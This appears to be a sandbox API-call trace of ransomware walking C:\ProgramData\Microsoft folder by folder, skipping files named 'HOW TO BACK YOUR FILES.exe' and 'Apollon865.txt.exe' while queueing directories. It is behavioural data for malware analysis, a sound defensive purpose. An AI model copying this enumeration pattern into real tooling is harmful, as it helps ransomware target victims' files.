	[0050.702] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0050.702] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2f71d350, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f71d350, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca4d0
	[0050.702] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.702] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0050.703] lstrcpyW (in: lpString1=0x2d3e582, lpString2="Assistance" | out: lpString1="Assistance") returned="Assistance"
	[0050.703] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b79a8
	[0050.703] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x48) returned 0x5bde88
	[0050.703] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b79b0 | out: ListHead=0x5b76b0, ListEntry=0x5b79b0) returned 0x5b7990
	[0050.703] FindNextFileW (in: hFindFile=0x5ca4d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2ff72050, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2ff72050, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Crypto", cAlternateFileName="")) returned 1
	[0050.703] lstrcmpiW (lpString1="Crypto", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.703] lstrcmpiW (lpString1="Crypto", lpString2="Apollon865.txt.exe") returned 1
	[0050.703] lstrcpyW (in: lpString1=0x2d3e582, lpString2="Crypto" | out: lpString1="Crypto") returned="Crypto"
	[0050.703] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7a48
	[0050.703] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x40) returned 0x5b62c8
	[0050.703] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7a50 | out: ListHead=0x5b76b0, ListEntry=0x5b7a50) returned 0x5b79b0
	[0050.703] FindNextFileW (in: hFindFile=0x5ca4d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fd36bb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fd36bb0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Device Stage", cAlternateFileName="DEVICE~1")) returned 1
	[0050.703] lstrcmpiW (lpString1="Device Stage", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.703] lstrcmpiW (lpString1="Device Stage", lpString2="Apollon865.txt.exe") returned 1
	[0050.703] lstrcpyW (in: lpString1=0x2d3e582, lpString2="Device Stage" | out: lpString1="Device Stage") returned="Device Stage"
	[0050.703] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7a68
	[0050.703] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x4c) returned 0x5bc9b8
	[0050.703] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7a70 | out: ListHead=0x5b76b0, ListEntry=0x5b7a70) returned 0x5b7a50
	[0050.703] FindNextFileW (in: hFindFile=0x5ca4d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fd36bb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fd36bb0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DeviceSync", cAlternateFileName="DEVICE~2")) returned 1
	[0050.703] lstrcmpiW (lpString1="DeviceSync", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.703] lstrcmpiW (lpString1="DeviceSync", lpString2="Apollon865.txt.exe") returned 1
	[0050.703] lstrcpyW (in: lpString1=0x2d3e582, lpString2="DeviceSync" | out: lpString1="DeviceSync") returned="DeviceSync"
	[0050.703] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7a88
	[0050.703] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x48) returned 0x5bded8
	[0050.703] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7a90 | out: ListHead=0x5b76b0, ListEntry=0x5b7a90) returned 0x5b7a70
	[0050.703] FindNextFileW (in: hFindFile=0x5ca4d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fd10a50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fd10a50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DRM", cAlternateFileName="")) returned 1
	[0050.703] lstrcmpiW (lpString1="DRM", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.703] lstrcmpiW (lpString1="DRM", lpString2="Apollon865.txt.exe") returned 1
	[0050.703] lstrcpyW (in: lpString1=0x2d3e582, lpString2="DRM" | out: lpString1="DRM") returned="DRM"
	[0050.703] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7aa8
	[0050.703] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x3a) returned 0x5b6310
	[0050.704] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7ab0 | out: ListHead=0x5b76b0, ListEntry=0x5b7ab0) returned 0x5b7a90
	[0050.704] FindNextFileW (in: hFindFile=0x5ca4d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x2fcea8f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fcea8f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="eHome", cAlternateFileName="")) returned 1
	[0050.704] lstrcmpiW (lpString1="eHome", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.704] lstrcmpiW (lpString1="eHome", lpString2="Apollon865.txt.exe") returned 1
	[0050.704] lstrcpyW (in: lpString1=0x2d3e582, lpString2="eHome" | out: lpString1="eHome") returned="eHome"
	[0050.704] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c28
	[0050.704] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x3e) returned 0x5b6358
	[0050.704] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c30 | out: ListHead=0x5b76b0, ListEntry=0x5b7c30) returned 0x5b7ab0
	[0050.704] FindNextFileW (in: hFindFile=0x5ca4d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3235c810, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x2fc52370, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fc52370, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Event Viewer", cAlternateFileName="EVENTV~1")) returned 1
	[0050.704] lstrcmpiW (lpString1="Event Viewer", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.704] lstrcmpiW (lpString1="Event Viewer", lpString2="Apollon865.txt.exe") returned 1
	[0050.704] lstrcpyW (in: lpString1=0x2d3e582, lpString2="Event Viewer" | out: lpString1="Event Viewer") returned="Event Viewer"
	[0050.704] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ac8
	[0050.704] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x4c) returned 0x5bca10
	[0050.704] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7ad0 | out: ListHead=0x5b76b0, ListEntry=0x5b7ad0) returned 0x5b7c30
	[0050.704] FindNextFileW (in: hFindFile=0x5ca4d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2f71d350, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f71d350, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0050.704] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0050.704] FindNextFileW (in: hFindFile=0x5ca4d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fc52370, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fc52370, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IdentityCRL", cAlternateFileName="IDENTI~1")) returned 1
	[0050.704] lstrcmpiW (lpString1="IdentityCRL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0050.704] lstrcmpiW (lpString1="IdentityCRL", lpString2="Apollon865.txt.exe") returned 1
	[0050.704] lstrcpyW (in: lpString1=0x2d3e582, lpString2="IdentityCRL" | out: lpString1="IdentityCRL") returned="IdentityCRL"
	[0050.704] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7be8
	[0050.704] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x4a) returned 0x5bca68
	[0050.704] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7bf0 | out: ListHead=0x5b76b0, ListEntry=0x5b7bf0) returned 0x5b7ad0
	[0050.704] FindNextFileW (in: hFindFile=0x5ca4d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3ee349fc, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x2fc2c210, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fc2c210, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Media Player", cAlternateFileName="MEDIAP~1")) returned 1
	[0050.704] lstrcmpiW (lpString1="Media Player", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0050.704] lstrcmpiW (lpString1="Media Player", lpString2="Apollon865.txt.exe") returned 1
	[0050.704] lstrcpyW (in: lpString1=0x2d3e582, lpString2="Media Player" | out: lpString1="Media Player") returned="Media Player"
	[0050.704] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c48
	[0050.705] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x4c) returned 0x5bcac0
	[0050.705] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c50 | out: ListHead=0x5b76b0, ListEntry=0x5b7c50) returned 0x5b7bf0
	[0050.705] FindNextFileW (in: hFindFile=0x5ca4d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x2fc2c210, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fc2c210, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MF", cAlternateFileName="")) returned 1
	[0050.705] lstrcmpiW (lpString1="MF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0050.705] lstrcmpiW (lpString1="MF", lpString2="Apollon865.txt.exe") returned 1
	[0050.705] lstrcpyW (in: lpString1=0x2d3e582, lpString2="MF" | out: lpString1="MF") returned="MF"
	[0050.705] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ae8
	[0050.705] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x38) returned 0x5ca510
	[0050.705] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7af0 | out: ListHead=0x5b76b0, ListEntry=0x5b7af0) returned 0x5b7c50
	[0050.705] FindNextFileW (in: hFindFile=0x5ca4d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50ea0e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x2fc060b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fc060b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSDN", cAlternateFileName="")) returned 1
	[0050.705] lstrcmpiW (lpString1="MSDN", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0050.705] lstrcmpiW (lpString1="MSDN", lpString2="Apollon865.txt.exe") returned 1
	[0050.705] lstrcpyW (in: lpString1=0x2d3e582, lpString2="MSDN" | out: lpString1="MSDN") returned="MSDN"
	[0050.705] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c88
	[0050.705] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x3c) returned 0x5b63a0
	[0050.705] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c90 | out: ListHead=0x5b76b0, ListEntry=0x5b7c90) returned 0x5b7af0
	[0050.705] FindNextFileW (in: hFindFile=0x5ca4d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x56ac2f60, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x2fbdff50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fbdff50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NetFramework", cAlternateFileName="NETFRA~1")) returned 1
	[0050.705] lstrcmpiW (lpString1="NetFramework", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0050.705] lstrcmpiW (lpString1="NetFramework", lpString2="Apollon865.txt.exe") returned 1
	[0050.705] lstrcpyW (in: lpString1=0x2d3e582, lpString2="NetFramework" | out: lpString1="NetFramework") returned="NetFramework"
	[0050.705] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7b08
	[0050.705] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x4c) returned 0x5bcb18
	[0050.705] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7b10 | out: ListHead=0x5b76b0, ListEntry=0x5b7b10) returned 0x5b7c90
	[0050.705] FindNextFileW (in: hFindFile=0x5ca4d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fbb9df0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fbb9df0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Network", cAlternateFileName="")) returned 1
	[0050.705] lstrcmpiW (lpString1="Network", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0050.705] lstrcmpiW (lpString1="Network", lpString2="Apollon865.txt.exe") returned 1
	[0050.705] lstrcpyW (in: lpString1=0x2d3e582, lpString2="Network" | out: lpString1="Network") returned="Network"
	[0050.705] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c08
	[0050.705] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x42) returned 0x5bdf28
	[0050.705] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c10 | out: ListHead=0x5b76b0, ListEntry=0x5b7c10) returned 0x5b7b10
	[0050.705] FindNextFileW (in: hFindFile=0x5ca4d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x2fb21870, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fb21870, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OFFICE", cAlternateFileName="")) returned 1
	[0050.706] lstrcmpiW (lpString1="OFFICE", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0050.706] lstrcmpiW (lpString1="OFFICE", lpString2="Apollon865.txt.exe") returned 1
	[0050.706] lstrcpyW (in: lpString1=0x2d3e582, lpString2="OFFICE" | out: lpString1="OFFICE") returned="OFFICE"
	[0050.706] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fd88
	[0050.706] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x40) returned 0x5b63e8
	[0050.706] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fd90 | out: ListHead=0x5b76b0, ListEntry=0x59fd90) returned 0x5b7c10
	[0050.706] FindNextFileW (in: hFindFile=0x5ca4d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50ea0e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x2f9f0d70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f9f0d70, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OfficeSoftwareProtectionPlatform", cAlternateFileName="OFFICE~1")) returned 1
	[0050.706] lstrcmpiW (lpString1="OfficeSoftwareProtectionPlatform", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0050.706] lstrcmpiW (lpString1="OfficeSoftwareProtectionPlatform", lpString2="Apollon865.txt.exe") returned 1
	[0050.706] lstrcpyW (in: lpString1=0x2d3e582, lpString2="OfficeSoftwareProtectionPlatform" | out: lpString1="OfficeSoftwareProtectionPlatform") returned="OfficeSoftwareProtectionPlatform"
	[0050.706] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc88
	[0050.706] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x74) returned 0x591640
	[0050.706] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fc90 | out: ListHead=0x5b76b0, ListEntry=0x59fc90) returned 0x59fd90
	[0050.706] FindNextFileW (in: hFindFile=0x5ca4d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2f97e950, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f97e950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RAC", cAlternateFileName="")) returned 1
	[0050.706] lstrcmpiW (lpString1="RAC", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0050.706] lstrcmpiW (lpString1="RAC", lpString2="Apollon865.txt.exe") returned 1
	[0050.706] lstrcpyW (in: lpString1=0x2d3e582, lpString2="RAC" | out: lpString1="RAC") returned="RAC"
	[0050.706] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fca8
	[0050.706] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x3a) returned 0x5b6430
	[0050.706] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fcb0 | out: ListHead=0x5b76b0, ListEntry=0x59fcb0) returned 0x59fc90
	[0050.706] FindNextFileW (in: hFindFile=0x5ca4d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27df8b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2f9587f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f9587f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Search", cAlternateFileName="")) returned 1
	[0050.706] lstrcmpiW (lpString1="Search", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0050.706] lstrcmpiW (lpString1="Search", lpString2="Apollon865.txt.exe") returned 1
	[0050.706] lstrcpyW (in: lpString1=0x2d3e582, lpString2="Search" | out: lpString1="Search") returned="Search"
	[0050.706] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fcc8
	[0050.706] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x40) returned 0x5b6478
	[0050.706] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fcd0 | out: ListHead=0x5b76b0, ListEntry=0x59fcd0) returned 0x59fcb0
	[0050.706] FindNextFileW (in: hFindFile=0x5ca4d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2f90c530, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f90c530, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="User Account Pictures", cAlternateFileName="USERAC~1")) returned 1
	[0050.706] lstrcmpiW (lpString1="User Account Pictures", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0050.706] lstrcmpiW (lpString1="User Account Pictures", lpString2="Apollon865.txt.exe") returned 1
	[0050.707] lstrcpyW (in: lpString1=0x2d3e582, lpString2="User Account Pictures" | out: lpString1="User Account Pictures") returned="User Account Pictures"
	[0050.707] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fce8
	[0050.707] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x5e) returned 0x5c5458
	[0050.707] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fcf0 | out: ListHead=0x5b76b0, ListEntry=0x59fcf0) returned 0x59fcd0
	[0050.707] FindNextFileW (in: hFindFile=0x5ca4d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2f90c530, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f90c530, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Vault", cAlternateFileName="")) returned 1
	[0050.707] lstrcmpiW (lpString1="Vault", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0050.707] lstrcmpiW (lpString1="Vault", lpString2="Apollon865.txt.exe") returned 1
	[0050.707] lstrcpyW (in: lpString1=0x2d3e582, lpString2="Vault" | out: lpString1="Vault") returned="Vault"
	[0050.707] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fd08
	[0050.707] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x3e) returned 0x5b64c0
	[0050.707] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fd10 | out: ListHead=0x5b76b0, ListEntry=0x59fd10) returned 0x59fcf0
	[0050.707] FindNextFileW (in: hFindFile=0x5ca4d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x80ac5760, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x2f90c530, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f90c530, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VISIO", cAlternateFileName="")) returned 1
	[0050.707] lstrcmpiW (lpString1="VISIO", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0050.707] lstrcmpiW (lpString1="VISIO", lpString2="Apollon865.txt.exe") returned 1
	[0050.707] lstrcpyW (in: lpString1=0x2d3e582, lpString2="VISIO" | out: lpString1="VISIO") returned="VISIO"
	[0050.707] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fdc8
	[0050.707] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x3e) returned 0x5b6508
	[0050.707] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fdd0 | out: ListHead=0x5b76b0, ListEntry=0x59fdd0) returned 0x59fd10
	[0050.707] FindNextFileW (in: hFindFile=0x5ca4d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x60ae73a0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x60ae73a0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1
	[0050.707] lstrcmpiW (lpString1="Windows", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0050.707] lstrcmpiW (lpString1="Windows", lpString2="Apollon865.txt.exe") returned 1
	[0050.707] lstrcpyW (in: lpString1=0x2d3e582, lpString2="Windows Defender" | out: lpString1="Windows Defender") returned="Windows Defender"
	[0050.707] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fde8
